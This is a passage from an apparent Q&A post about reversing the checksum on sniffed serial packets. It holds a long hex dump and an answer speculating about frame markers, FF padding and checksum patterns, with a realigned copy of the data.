d2\n10 02 41 02 20 00 ec 10 03 ec 35\n10 02 41 02 20 00 ed 10 03 fc 14\n10 02 41 02 20 00 ee 10 03 cc 77\n10 02 41 02 20 00 ef 10 03 dc 56\n10 02 41 02 20 00 f0 10 03 3f 88\n10 02 41 02 20 00 f1 10 03 2f a9\n10 02 41 02 20 00 f2 10 03 1f ca\n10 02 41 02 20 00 f3 10 03 0f eb\n10 02 41 02 20 00 f4 10 03 7f 0c\n10 02 41 02 20 00 f5 10 03 6f 2d\n10 02 41 02 20 00 f6 10 03 5f 4e\n10 02 41 02 20 00 f7 10 03 4f 6f\n10 02 41 02 20 00 f8 10 03 be 80\n10 02 41 02 20 00 f9 10 03 ae a1\n10 02 41 02 20 00 fa 10 03 9e c2\n10 02 41 02 20 00 fb 10 03 8e e3\n10 02 41 02 20 00 fc 10 03 fe 04\n10 02 41 02 20 00 fd 10 03 ee 25\n10 02 41 02 20 00 fe 10 03 de 46\n10 02 41 02 20 00 ff ff 10 03 ce 67\n10 02 41 02 20 01 00 10 03 e3 a6\n10 02 41 02 20 01 01 10 03 f3 87\n10 02 41 02 20 01 02 10 03 c3 e4\n10 02 41 02 20 01 03 10 03 d3 c5\n10 02 41 02 20 01 04 10 03 a3 22\n10 02 41 02 20 01 05 10 03 b3 03\n10 02 41 02 20 01 06 10 03 83 60\n10 02 41 02 20 01 07 10 03 93 41\n10 02 41 02 20 01 08 10 03 62 ae\n10 02 41 02 20 01 09 10 03 72 8f\n10 02 41 02 20 01 0a 10 03 42 ec\n10 02 41 02 20 01 0b 10 03 52 cd\n10 02 41 02 20 01 0c 10 03 22 2a\n10 02 41 02 20 01 0d 10 03 32 0b\n10 02 41 02 20 01 0e 10 03 02 68\n10 02 41 02 20 01 0f 10 03 12 49\n10 02 41 02 20 01 10 10 10 03 f1 97\n10 02 41 02 20 01 11 10 03 e1 b6\n10 02 41 02 20 01 12 10 03 d1 d5\n10 02 41 02 20 01 13 10 03 c1 f4\n10 02 41 02 20 01 14 10 03 b1 13\n10 02 41 02 20 01 15 10 03 a1 32\n10 02 41 02 20 01 16 10 03 91 51\n10 02 41 02 20 01 17 10 03 81 70\n10 02 41 02 20 01 18 10 03 70 9f\n10 02 41 02 20 01 19 10 03 60 be\n10 02 41 02 20 01 1a 10 03 50 dd\n10 02 41 02 20 01 1b 10 03 40 fc\n10 02 41 02 20 01 1c 10 03 30 1b\n10 02 41 02 20 01 1d 10 03 20 3a\n10 02 41 02 20 01 1e 10 03 10 59\n10 02 41 02 20 01 1f 10 03 00 78\n10 02 41 02 20 01 20 10 03 c7 c4\n10 02 41 02 20 01 21 10 03 d7 e5\n10 02 41 02 20 01 22 10 03 e7 86\n10 02 41 02 20 01 23 10 03 f7 a7\n10 02 41 02 20 01 24 10 03 87 40\n10 02 41 02 20 01 25 10 03 97 61\n10 02 41 02 20 01 26 10 03 a7 02\n10 02 41 02 20 01 27 10 03 b7 23\n10 02 41 02 20 01 28 10 03 46 cc\n10 02 41 02 20 01 29 10 03 56 ed\n10 02 41 02 20 01 2a 10 03 66 8e\n10 02 41 02 20 01 2b 10 03 76 af\n10 02 41 02 20 01 2c 10 03 06 48\n10 02 41 02 20 01 2d 10 03 16 69\n10 02 41 02 20 01 2e 10 03 26 0a\n10 02 41 02 20 01 2f 10 03 36 2b\n10 02 41 02 20 01 30 10 03 d5 f5\n10 02 41 02 20 01 31 10 03 c5 d4\n10 02 41 02 20 01 32 10 03 f5 b7\n10 02 41 02 20 01 33 10 03 e5 96\n10 02 41 02 20 01 34 10 03 95 71\n10 02 41 02 20 01 35 10 03 85 50\n10 02 41 02 20 01 36 10 03 b5 33\n10 02 41 02 20 01 37 10 03 a5 12\n10 02 41 02 20 01 38 10 03 54 fd\n10 02 41 02 20 01 39 10 03 44 dc\n10 02 41 02 20 01 3a 10 03 74 bf\n10 02 41 02 20 01 3b 10 03 64 9e\n10 02 41 02 20 01 3c 10 03 14 79\n10 02 41 02 20 01 3d 10 03 04 58\n10 02 41 02 20 01 3e 10 03 34 3b\n10 02 41 02 20 01 3f 10 03 24 1a\n10 02 41 02 20 01 40 10 03 ab 62\n10 02 41 02 20 01 41 10 03 bb 43\n10 02 41 02 20 01 42 10 03 8b 20\n10 02 41 02 20 01 43 10 03 9b 01\n10 02 41 02 20 01 44 10 03 eb e6\n10 02 41 02 20 01 45 10 03 fb c7\n10 02 41 02 20 01 46 10 03 cb a4\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 05 10 03 68 94\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 06 10 03 58 f7\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 07 10 03 48 d6\n10 02 41 02 02 00 08 10 03 b9 39\n10 02 41 02 02 00 08 10 03 b9 39\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 09 10 03 a9 18\n10 02 41 02 02 00 0a 10 03 99 7b\n10 02 41 02 02 00 0a 10 03 99 7b\n10 02 41 02 02 00 0b 10 03 89 5a\n10 02 41 02 02 00 0b 10 03 89 5a\n10 02 41 02 02 00 0d 10 03 e9 9c\n10 02 41 02 02 00 0d 10 03 e9 9c\n10 02 41 02 02 00 0e 10 03 d9 ff ff\n10 02 41 02 02 00 0f 10 03 c9 de\n10 02 41 02 02 00 10 10 10 03 2a 00\n10 02 41 02 02 00 11 10 03 3a 21\n10 02 41 02 02 00 12 10 03 0a 42\n10 02 41 02 02 00 13 10 03 1a 63\n10 02 41 02 02 00 14 10 03 6a 84\n10 02 41 02 02 00 17 10 03 5a e7\n10 02 41 02 02 00 19 10 03 bb 29\n10 02 41 02 02 00 1d 10 03 fb ad\n10 02 41 02 02 00 20 10 03 1c 53\n10 02 41 02 02 00 27 10 03 6c b4\n10 02 41 02 02 00 2d 10 03 cd fe\n10 02 41 02 02 00 3c 10 03 cf ee\n10 02 41 02 02 00 49 10 03 e1 dc\n10 02 41 02 02 00 7e 10 03 a7 68\n10 02 41 02 02 00 c4 10 03 a1 f9\n10 02 41 02 02 7e e3 10 03 de 2a\n10 02 41 02 02 7e da 10 03 79 50\n10 02 41 02 02 7e d1 10 03 c8 3b\n10 02 41 02 02 7e c8 10 03 4b 23\n10 02 41 02 02 7e b3 10 03 84 df\n10 02 41 02 02 7e 80 10 03 82 ef\n10 02 41 02 02 7e 3a 10 03 84 7e\n10 02 41 02 02 7d d5 10 03 dd ec\n10 02 41 02 02 7d 36 10 03 10 a1\n10 02 41 02 02 7c 18 10 03 e6 3c\n10 02 41 02 02 7b a9 10 03 c8 51\n10 02 41 02 02 00 49 10 03 e1 dc\n10 02 41 02 02 00 2d 10 03 cd fe\n10 02 41 02 02 00 3c 10 03 cf ee\n10 02 41 02 02 00 7e 10 03 a7 68\n10 02 41 02 02 01 c6 10 03 b2 8a\n10 02 41 02 02 7e e3 10 03 de 2a\n10 02 42 02 01 10 03 05 8e\n10 02 f4 02 20 00 01 00 01 10 03 4a bb\n10 02 f4 02 20 00 01 00 00 10 03 5a 9a\n10 02 f4 02 20 00 02 01 10 03 92 93\n10 02 f4 02 20 00 02 00 10 03 82 b2\n10 02 f4 02 28 00 00 fc 10 03 4f 80\n10 02 f4 02 28 00 00 f9 10 03 1f 25\n10 02 f4 02 28 00 00 f6 10 03 ee ca\n10 02 f4 02 28 00 00 f3 10 03 be 6f\n10 02 f4 02 28 00 00 f0 10 03 8e 0c\n10 02 f4 02 28 00 00 ed 10 03 4d 90\n10 02 f4 02 28 00 00 ea 10 03 3d 77\n10 02 f4 02 28 00 00 e7 10 03 ec da\n10 02 f4 02 28 00 00 e4 10 03 dc b9\n10 02 f4 02 28 00 00 e1 10 03 8c 1c\n10 02 f4 02 28 00 00 de 10 03 4b a0\n10 02 f4 02 28 00 00 db 10 03 1b 05\n10 02 f4 02 28 00 00 d8 10 03 2b 66\n10 02 f4 02 28 00 00 d5 10 03 fa cb\n10 02 f4 02 28 00 00 d3 10 03 9a 0d\n10 02 f4 02 28 00 00 d0 10 03 aa 6e\n10 02 f4 02 28 00 00 cd 10 03 69 f2\n10 02 f4 02 28 00 00 ca 10 03 19 15\n10 02 f4 02 28 00 00 c7 10 03 c8 b8\n10 02 f4 02 28 00 00 c4 10 03 f8 db\n10 02 f4 02 28 00 00 c1 10 03 a8 7e\n10 02 f4 02 28 00 00 be 10 03 27 06\n10 02 f4 02 28 00 00 bb 10 03 77 a3\n10 02 f4 02 28 00 00 b8 10 03 47 c0\n10 02 f4 02 28 00 00 b5 10 03 96 6d\n10 02 f4 02 28 00 00 b2 10 03 e6 8a\n10 02 f4 02 28 00 00 af 10 03 25 16\n10 02 f4 02 28 00 00 ac 10 03 15 75\n10 02 f4 02 28 00 00 a9 10 03 45 d0\n10 02 f4 02 28 00 00 a6 10 03 b4 3f\n10 02 f4 02 28 00 00 a3 10 03 e4 9a\n10 02 f4 02 28 00 00 a0 10 03 d4 f9\n10 02 f4 02 28 00 00 9d 10 03 33 07\n10 02 f4 02 28 00 00 9a 10 03 43 e0\n10 02 f4 02 28 00 00 94 10 03 a2 2e\n10 02 f4 02 28 00 00 91 10 03 f2 8b\n10 02 f4 02 28 00 00 8e 10 03 11 55\n10 02 f4 02 28 00 00 8b 10 03 41 f0\n10 02 f4 02 28 00 00 88 10 03 71 93\n10 02 f4 02 28 00 00 85 10 03 a0 3e\n10 02 f4 02 28 00 00 82 10 03 d0 d9\n10 02 f4 02 28 00 00 7f 10 03 ee 6b\n10 02 f4 02 28 00 00 7d 10 03 ce 29\n10 02 f4 02 28 00 00 7a 10 03 be ce\n10 02 f4 02 28 00 00 77 10 03 6f 63\n10 02 f4 02 28 00 00 74 10 03 5f 00\n10 02 f4 02 28 00 00 71 10 03 0f a5\n10 02 f4 02 28 00 00 6e 10 03 ec 7b\n10 02 f4 02 28 00 00 6b 10 03 bc de\n10 02 f4 02 28 00 00 68 10 03 8c bd\n10 02 f4 02 28 00 00 65 10 03 5d 10\n10 02 f4 02 28 00 00 62 10 03 2d f7\n10 02 f4 02 28 00 00 5f 10 03 ca 09\n10 02 f4 02 28 00 00 5c 10 03 fa 6a\n10 02 f4 02 28 00 00 59 10 03 aa cf\n10 02 f4 02 28 00 00 56 10 03 5b 20\n10 02 f4 02 28 00 00 53 10 03 0b 85\n10 02 f4 02 28 00 00 50 10 03 3b e6\n10 02 f4 02 28 00 00 4d 10 03 f8 7a\n10 02 f4 02 28 00 00 4a 10 03 88 9d\n10 02 f4 02 28 00 00 47 10 03 59 30\n10 02 f4 02 28 00 00 44 10 03 69 53\n10 02 f4 02 28 00 00 41 10 03 39 f6\n10 02 f4 02 28 00 00 3e 10 03 b6 8e\n10 02 f4 02 28 00 00 3b 10 03 e6 2b\n10 02 f4 02 28 00 00 38 10 03 d6 48\n10 02 f4 02 28 00 00 35 10 03 07 e5\n10 02 f4 02 28 00 00 32 10 03 77 02\n10 02 f4 02 28 00 00 2f 10 03 b4 9e\n10 02 f4 02 28 00 00 2c 10 03 84 fd\n10 02 f4 02 28 00 00 2a 10 03 e4 3b\n10 02 f4 02 28 00 00 27 10 03 35 96\n10 02 f4 02 28 00 00 24 10 03 05 f5\n10 02 f4 02 28 00 00 21 10 03 55 50\n10 02 f4 02 28 00 00 1e 10 03 92 ec\n10 02 f4 02 28 00 00 1b 10 03 c2 49\n10 02 f4 02 28 00 00 18 10 03 f2 2a\n10 02 f4 02 28 00 00 15 10 03 23 87\n10 02 f4 02 28 00 00 12 10 03 53 60\n10 02 f4 02 28 00 00 0f 10 03 90 fc\n10 02 f4 02 28 00 00 0c 10 03 a0 9f\n10 02 f4 02 28 00 00 09 10 03 f0 3a\n10 02 f4 02 28 00 00 06 10 03 01 d5\n10 02 f4 02 28 00 00 03 10 03 51 70\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 28 00 00 01 10 03 71 32\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 28 00 00 fe 10 03 6f c2\n10 02 f4 02 28 00 00 ff ff 10 03 7f e3\n10 02 f4 02 28 00 00 01 10 03 71 32\n10 02 f4 02 28 00 00 00 10 03 61 13\n10 02 f4 02 00 00 00 10 03 5b 38\n10 02 f4 02 20 00 00 10 03 dd fe\n</pre>\n",
        "Title": "Reversing checksum algorithm",
        "Tags": "|serial-communication|sniffing|packet|crc|",
        "Answer": "<p>I'm not sure it's a checksum either. FF may be used as a padding flag. Also I think your \"record size\" needs to be reevaluated. I see this as a series of bytes that start with \n<code>10 02 xx yy yy zz zz</code>\nx and y might be options \nz looks like data or a sequence (ish)\nThen the next record looks like this\n<code>10 03 xx xx</code>\nHere's an observation on the <code>10 03</code> records:\n<code>\n10 03 d2 26\n10 03 c2 07\n10 03 f2 64\n10 03 e2 45</code>\nlooking at the last 2 bytes, </p>\n\n<p><code>0xD226 - 0xC207 = 0x101F</code></p>\n\n<p><code>0xF264 - 0xE245 = 0x101F</code></p>\n\n<p>I don't know what that means, but I think that relationship is not coincidence.</p>\n\n<p>I took the data and did some binary find and replace to shift it from one line with two records to two lines, one of each record type. Specifically, I added three leading bytes to <code>0x1002</code>, removed those bytes at the very start to align the first record with the start of the file. Then they aligned nicely. However, when I found the FF, I saw that the records got misaligned, hence more evidence that its some sort of padding flag or something to keep the protocol on track, I guess. I added null bytes to shift the records back into conformance. I'll paste the results below, but only partial, because of the hastiness of my find and replace I think a portion of the data towards the end got borked up and I had \"run out of time\" to mess with it. I'll leave a little bit of where things got shifted, but keep in mind I tinkered with it a bit so I don't think I preserved it as well as the first section.</p>\n\n<p>Edit: \nThat last byte of the <code>0x1002</code> record might be some sort of counter, note that when it becomes a full byte that's when some sort of sequence starts to reset.\nSearch for this string\n10 02 41 02 20 00 FF</p>\n\n<p>PS: Politely, it would have been nice to know what you were doing with the hardware to generate this data, some context for the evaluation may have been helpful.</p>\n\n<p><code>\n10 02 41 02 20 01 46 \n10 03 CB A4 00 00 00 \n10 02 41 02 20 00 18 \n10 03 43 AE 00 00 00 \n10 02 41 02 20 00 19 \n10 03 53 8F 00 00 00 \n10 02 41 02 20 00 1A \n10 03 63 EC 00 00 00 \n10 02 41 02 20 00 1B \n10 03 73 CD 00 00 00 \n10 02 41 02 20 00 1C \n10 03 03 2A 00 00 00 \n10 02 41 02 20 00 1D \n10 03 13 0B 00 00 00 \n10 02 41 02 20 00 1E \n10 03 23 68 00 00 00 \n10 02 41 02 20 00 1F \n10 03 33 49 00 00 00 \n10 02 41 02 20 00 20 \n10 03 F4 F5 00 00 00 \n10 02 41 02 20 00 21 \n10 03 E4 D4 00 00 00 \n10 02 41 02 20 00 22 \n10 03 D4 B7 00 00 00 \n10 02 41 02 20 00 23 \n10 03 C4 96 00 00 00 \n10 02 41 02 20 00 24 \n10 03 B4 71 00 00 00 \n10 02 41 02 20 00 25 \n10 03 A4 50 00 00 00 \n10 02 41 02 20 00 26 \n10 03 94 33 00 00 00 \n10 02 41 02 20 00 27 \n10 03 84 12 00 00 00 \n10 02 41 02 20 00 28 \n10 03 75 FD 00 00 00 \n10 02 41 02 20 00 29 \n10 03 65 DC 00 00 00 \n10 02 41 02 20 00 2A \n10 03 55 BF 00 00 00 \n10 02 41 02 20 00 2B \n10 03 45 9E 00 00 00 \n10 02 41 02 20 00 2C \n10 03 35 79 00 00 00 \n10 02 41 02 20 00 2D \n10 03 25 58 00 00 00 \n10 02 41 02 20 00 2E \n10 03 15 3B 00 00 00 \n10 02 41 02 20 00 2F \n10 03 05 1A 00 00 00 \n10 02 41 02 20 00 30 \n10 03 E6 C4 00 00 00 \n10 02 41 02 20 00 31 \n10 03 F6 E5 00 00 00 \n10 02 41 02 20 00 32 \n10 03 C6 86 00 00 00 \n10 02 41 02 20 00 33 \n10 03 D6 A7 00 00 00 \n10 02 41 02 20 00 34 \n10 03 A6 40 00 00 00 \n10 02 41 02 20 00 35 \n10 03 B6 61 00 00 00 \n10 02 41 02 20 00 36 \n10 03 86 02 00 00 00 \n10 02 41 02 20 00 37 \n10 03 96 23 00 00 00 \n10 02 41 02 20 00 38 \n10 03 67 CC 00 00 00 \n10 02 41 02 20 00 39 \n10 03 77 ED 00 00 00 \n10 02 41 02 20 00 3A \n10 03 47 8E 00 00 00 \n10 02 41 02 20 00 3B \n10 03 57 AF 00 00 00 \n10 02 41 02 20 00 3C \n10 03 27 48 00 00 00 \n10 02 41 02 20 00 3D \n10 03 37 69 00 00 00 \n10 02 41 02 20 00 3E \n10 03 07 0A 00 00 00 \n10 02 41 02 20 00 3F \n10 03 17 2B 00 00 00 \n10 02 41 02 20 00 40 \n10 03 98 53 00 00 00 \n10 02 41 02 20 00 41 \n10 03 88 72 00 00 00 \n10 02 41 02 20 00 42 \n10 03 B8 11 00 00 00 \n10 02 41 02 20 00 43 \n10 03 A8 30 00 00 00 \n10 02 41 02 20 00 44 \n10 03 D8 D7 00 00 00 \n10 02 41 02 20 00 45 \n10 03 C8 F6 00 00 00 \n10 02 41 02 20 00 46 \n10 03 F8 95 00 00 00 \n10 02 41 02 20 00 47 \n10 03 E8 B4 00 00 00 \n10 02 41 02 20 00 48 \n10 03 19 5B 00 00 00 \n10 02 41 02 20 00 49 \n10 03 09 7A 00 00 00 \n10 02 41 02 20 00 4A \n10 03 39 19 00 00 00 \n10 02 41 02 20 00 4B \n10 03 29 38 00 00 00 \n10 02 41 02 20 00 4C \n10 03 59 DF 00 00 00 \n10 02 41 02 20 00 4D \n10 03 49 FE 00 00 00 \n10 02 41 02 20 00 4E \n10 03 79 9D 00 00 00 \n10 02 41 02 20 00 4F \n10 03 69 BC 00 00 00 \n10 02 41 02 20 00 50 \n10 03 8A 62 00 00 00 \n10 02 41 02 20 00 51 \n10 03 9A 43 00 00 00 \n10 02 41 02 20 00 52 \n10 03 AA 20 00 00 00 \n10 02 41 02 20 00 53 \n10 03 BA 01 00 00 00 \n10 02 41 02 20 00 54 \n10 03 CA E6 00 00 00 \n10 02 41 02 20 00 55 \n10 03 DA C7 00 00 00 \n10 02 41 02 20 00 56 \n10 03 EA A4 00 00 00 \n10 02 41 02 20 00 57 \n10 03 FA 85 00 00 00 \n10 02 41 02 20 00 58 \n10 03 0B 6A 00 00 00 \n10 02 41 02 20 00 59 \n10 03 1B 4B 00 00 00 \n10 02 41 02 20 00 5A \n10 03 2B 28 00 00 00 \n10 02 41 02 20 00 5B \n10 03 3B 09 00 00 00 \n10 02 41 02 20 00 5C \n10 03 4B EE 00 00 00 \n10 02 41 02 20 00 5D \n10 03 5B CF 00 00 00 \n10 02 41 02 20 00 5E \n10 03 6B AC 00 00 00 \n10 02 41 02 20 00 5F \n10 03 7B 8D 00 00 00 \n10 02 41 02 20 00 60 \n10 03 BC 31 00 00 00 \n10 02 41 02 20 00 61 \n10 03 AC 10 00 00 00 \n10 02 41 02 20 00 62 \n10 03 9C 73 00 00 00 \n10 02 41 02 20 00 63 \n10 03 8C 52 00 00 00 \n10 02 41 02 20 00 64 \n10 03 FC B5 00 00 00 \n10 02 41 02 20 00 65 \n10 03 EC 94 00 00 00 \n10 02 41 02 20 00 66 \n10 03 DC F7 00 00 00 \n10 02 41 02 20 00 67 \n10 03 CC D6 00 00 00 \n10 02 41 02 20 00 68 \n10 03 3D 39 00 00 00 \n10 02 41 02 20 00 69 \n10 03 2D 18 00 00 00 \n10 02 41 02 20 00 6A \n10 03 1D 7B 00 00 00 \n10 02 41 02 20 00 6B \n10 03 0D 5A 00 00 00 \n10 02 41 02 20 00 6C \n10 03 7D BD 00 00 00 \n10 02 41 02 20 00 6D \n10 03 6D 9C 00 00 00 \n10 02 41 02 20 00 6E \n10 03 5D FF 00 00 00 \nFF 00 00 00 00 00 00 \n10 02 41 02 20 00 6F \n10 03 4D DE 00 00 00 \n10 02 41 02 20 00 70 \n10 03 AE 00 00 00 00 \n10 02 41 02 20 00 71 \n10 03 BE 21 00 00 00 \n10 02 41 02 20 00 72 \n10 03 8E 42 00 00 00 \n10 02 41 02 20 00 73 \n10 03 9E 63 00 00 00 \n10 02 41 02 20 00 74 \n10 03 EE 84 00 00 00 \n10 02 41 02 20 00 75 \n10 03 FE A5 00 00 00 \n10 02 41 02 20 00 76 \n10 03 CE C6 00 00 00 \n10 02 41 02 20 00 77 \n10 03 DE E7 00 00 00 \n10 02 41 02 20 00 78 \n10 03 2F 08 00 00 00 \n10 02 41 02 20 00 79 \n10 03 3F 29 00 00 00 \n10 02 41 02 20 00 7A \n10 03 0F 4A 00 00 00 \n10 02 41 02 20 00 7B \n10 03 1F 6B 00 00 00 \n10 02 41 02 20 00 7C \n10 03 6F 8C 00 00 00 \n10 02 41 02 20 00 7D \n10 03 7F AD 00 00 00 \n10 02 41 02 20 00 7E \n10 03 4F CE 00 00 00 \n10 02 41 02 20 00 7F \n10 03 5F EF 00 00 00 \n10 02 41 02 20 00 80 \n10 03 41 1F 00 00 00 \n10 02 41 02 20 00 81 \n10 03 51 3E 00 00 00 \n10 02 41 02 20 00 82 \n10 03 61 5D 00 00 00 \n10 02 41 02 20 00 83 \n10 03 71 7C 00 00 00 \n10 02 41 02 20 00 84 \n10 03 01 9B 00 00 00 \n10 02 41 02 20 00 85 \n10 03 11 BA 00 00 00 \n10 02 41 02 20 00 86 \n10 03 21 D9 00 00 00 \n10 02 41 02 20 00 87 \n10 03 31 F8 00 00 00 \n10 02 41 02 20 00 88 \n10 03 C0 17 00 00 00 \n10 02 41 02 20 00 89 \n10 03 D0 36 00 00 00 \n10 02 41 02 20 00 8A \n10 03 E0 55 00 00 00 \n10 02 41 02 20 00 8B \n10 03 F0 74 00 00 00 \n10 02 41 02 20 00 8C \n10 03 80 93 00 00 00 \n10 02 41 02 20 00 8D \n10 03 90 B2 00 00 00 \n10 02 41 02 20 00 8E \n10 03 A0 D1 00 00 00 \n10 02 41 02 20 00 8F \n10 03 B0 F0 00 00 00 \n10 02 41 02 20 00 90 \n10 03 53 2E 00 00 00 \n10 02 41 02 20 00 91 \n10 03 43 0F 00 00 00 \n10 02 41 02 20 00 92 \n10 03 73 6C 00 00 00 \n10 02 41 02 20 00 93 \n10 03 63 4D 00 00 00 \n10 02 41 02 20 00 94 \n10 03 13 AA 00 00 00 \n10 02 41 02 20 00 95 \n10 03 03 8B 00 00 00 \n10 02 41 02 20 00 97 \n10 03 23 C9 00 00 00 \n10 02 41 02 20 00 98 \n10 03 D2 26 00 00 00 \n10 02 41 02 20 00 99 \n10 03 C2 07 00 00 00 \n10 02 41 02 20 00 9A \n10 03 F2 64 00 00 00 \n10 02 41 02 20 00 9B \n10 03 E2 45 00 00 00 \n10 02 41 02 20 00 9C \n10 03 92 A2 00 00 00 \n10 02 41 02 20 00 9D \n10 03 82 83 00 00 00 \n10 02 41 02 20 00 9E \n10 03 B2 E0 00 00 00 \n10 02 41 02 20 00 9F \n10 03 A2 C1 00 00 00 \n10 02 41 02 20 00 A0 \n10 03 65 7D 00 00 00 \n10 02 41 02 20 00 A1 \n10 03 75 5C 00 00 00 \n10 02 41 02 20 00 A2 \n10 03 45 3F 00 00 00 \n10 02 41 02 20 00 A3 \n10 03 55 1E 00 00 00 \n10 02 41 02 20 00 A4 \n10 03 25 F9 00 00 00 \n10 02 41 02 20 00 A5 \n10 03 35 D8 00 00 00 \n10 02 41 02 20 00 A6 \n10 03 05 BB 00 00 00 \n10 02 41 02 20 00 A7 \n10 03 15 9A 00 00 00 \n10 02 41 02 20 00 A8 \n10 03 E4 75 00 00 00 \n10 02 41 02 20 00 A9 \n10 03 F4 54 00 00 00 \n10 02 41 02 20 00 AA \n10 03 C4 37 00 00 00 \n10 02 41 02 20 00 AB \n10 03 D4 16 00 00 00 \n10 02 41 02 20 00 AC \n10 03 A4 F1 00 00 00 \n10 02 41 02 20 00 AD \n10 03 B4 D0 00 00 00 \n10 02 41 02 20 00 AE \n10 03 84 B3 00 00 00 \n10 02 41 02 20 00 AF \n10 03 94 92 00 00 00 \n10 02 41 02 20 00 B0 \n10 03 77 4C 00 00 00 \n10 02 41 02 20 00 B1 \n10 03 67 6D 00 00 00 \n10 02 41 02 20 00 B2 \n10 03 57 0E 00 00 00 \n10 02 41 02 20 00 B3 \n10 03 47 2F 00 00 00 \n10 02 41 02 20 00 B4 \n10 03 37 C8 00 00 00 \n10 02 41 02 20 00 B5 \n10 03 27 E9 00 00 00 \n10 02 41 02 20 00 B6 \n10 03 17 8A 00 00 00 \n10 02 41 02 20 00 B7 \n10 03 07 AB 00 00 00 \n10 02 41 02 20 00 B8 \n10 03 F6 44 00 00 00 \n10 02 41 02 20 00 B9 \n10 03 E6 65 00 00 00 \n10 02 41 02 20 00 BA \n10 03 D6 06 00 00 00 \n10 02 41 02 20 00 BB \n10 03 C6 27 00 00 00 \n10 02 41 02 20 00 BC \n10 03 B6 C0 00 00 00 \n10 02 41 02 20 00 BD \n10 03 A6 E1 00 00 00 \n10 02 41 02 20 00 BE \n10 03 96 82 00 00 00 \n10 02 41 02 20 00 BF \n10 03 86 A3 00 00 00 \n10 02 41 02 20 00 C0 \n10 03 09 DB 00 00 00 \n10 02 41 02 20 00 C1 \n10 03 19 FA 00 00 00 \n10 02 41 02 20 00 C2 \n10 03 29 99 00 00 00 \n10 02 41 02 20 00 C3 \n10 03 39 B8 00 00 00 \n10 02 41 02 20 00 C4 \n10 03 49 5F 00 00 00 \n10 02 41 02 20 00 C5 \n10 03 59 7E 00 00 00 \n10 02 41 02 20 00 C6 \n10 03 69 1D 00 00 00 \n10 02 41 02 20 00 C7 \n10 03 79 3C 00 00 00 \n10 02 41 02 20 00 C8 \n10 03 88 D3 00 00 00 \n10 02 41 02 20 00 C9 \n10 03 98 F2 00 00 00 \n10 02 41 02 20 00 CA \n10 03 A8 91 00 00 00 \n10 02 41 02 20 00 CB \n10 03 B8 B0 00 00 00 \n10 02 41 02 20 00 CC \n10 03 C8 57 00 00 00 \n10 02 41 02 20 00 CD \n10 03 D8 76 00 00 00 \n10 02 41 02 20 00 CE \n10 03 E8 15 00 00 00 \n10 02 41 02 20 00 CF \n10 03 F8 34 00 00 00 \n10 02 41 02 20 00 D0 \n10 03 1B EA 00 00 00 \n10 02 41 02 20 00 D1 \n10 03 0B CB 00 00 00 \n10 02 41 02 20 00 D2 \n10 03 3B A8 00 00 00 \n10 02 41 02 20 00 D3 \n10 03 2B 89 00 00 00 \n10 02 41 02 20 00 D4 \n10 03 5B 6E 00 00 00 \n10 02 41 02 20 00 D5 \n10 03 4B 4F 00 00 00 \n10 02 41 02 20 00 D6 \n10 03 7B 2C 00 00 00 \n10 02 41 02 20 00 D7 \n10 03 6B 0D 00 00 00 \n10 02 41 02 20 00 D8 \n10 03 9A E2 00 00 00 \n10 02 41 02 20 00 D9 \n10 03 8A C3 00 00 00 \n10 02 41 02 20 00 DA \n10 03 BA A0 00 00 00 \n10 02 41 02 20 00 DB \n10 03 AA 81 00 00 00 \n10 02 41 02 20 00 DC \n10 03 DA 66 00 00 00 \n10 02 41 02 20 00 DD \n10 03 CA 47 00 00 00 \n10 02 41 02 20 00 DE \n10 03 FA 24 00 00 00 \n10 02 41 02 20 00 DF \n10 03 EA 05 00 00 00 \n10 02 41 02 20 00 E0 \n10 03 2D B9 00 00 00 \n10 02 41 02 20 00 E1 \n10 03 3D 98 00 00 00 \n10 02 41 02 20 00 E2 \n10 03 0D FB 00 00 00 \n10 02 41 02 20 00 E3 \n10 03 1D DA 00 00 00 \n10 02 41 02 20 00 E4 \n10 03 6D 3D 00 00 00 \n10 02 41 02 20 00 E5 \n10 03 7D 1C 00 00 00 \n10 02 41 02 20 00 E6 \n10 03 4D 7F 00 00 00 \n10 02 41 02 20 00 E7 \n10 03 5D 5E 00 00 00 \n10 02 41 02 20 00 E8 \n10 03 AC B1 00 00 00 \n10 02 41 02 20 00 E9 \n10 03 BC 90 00 00 00 \n10 02 41 02 20 00 EA \n10 03 8C F3 00 00 00 \n10 02 41 02 20 00 EB \n10 03 9C D2 00 00 00 \n10 02 41 02 20 00 EC \n10 03 EC 35 00 00 00 \n10 02 41 02 20 00 ED \n10 03 FC 14 00 00 00 \n10 02 41 02 20 00 EE \n10 03 CC 77 00 00 00 \n10 02 41 02 20 00 EF \n10 03 DC 56 00 00 00 \n10 02 41 02 20 00 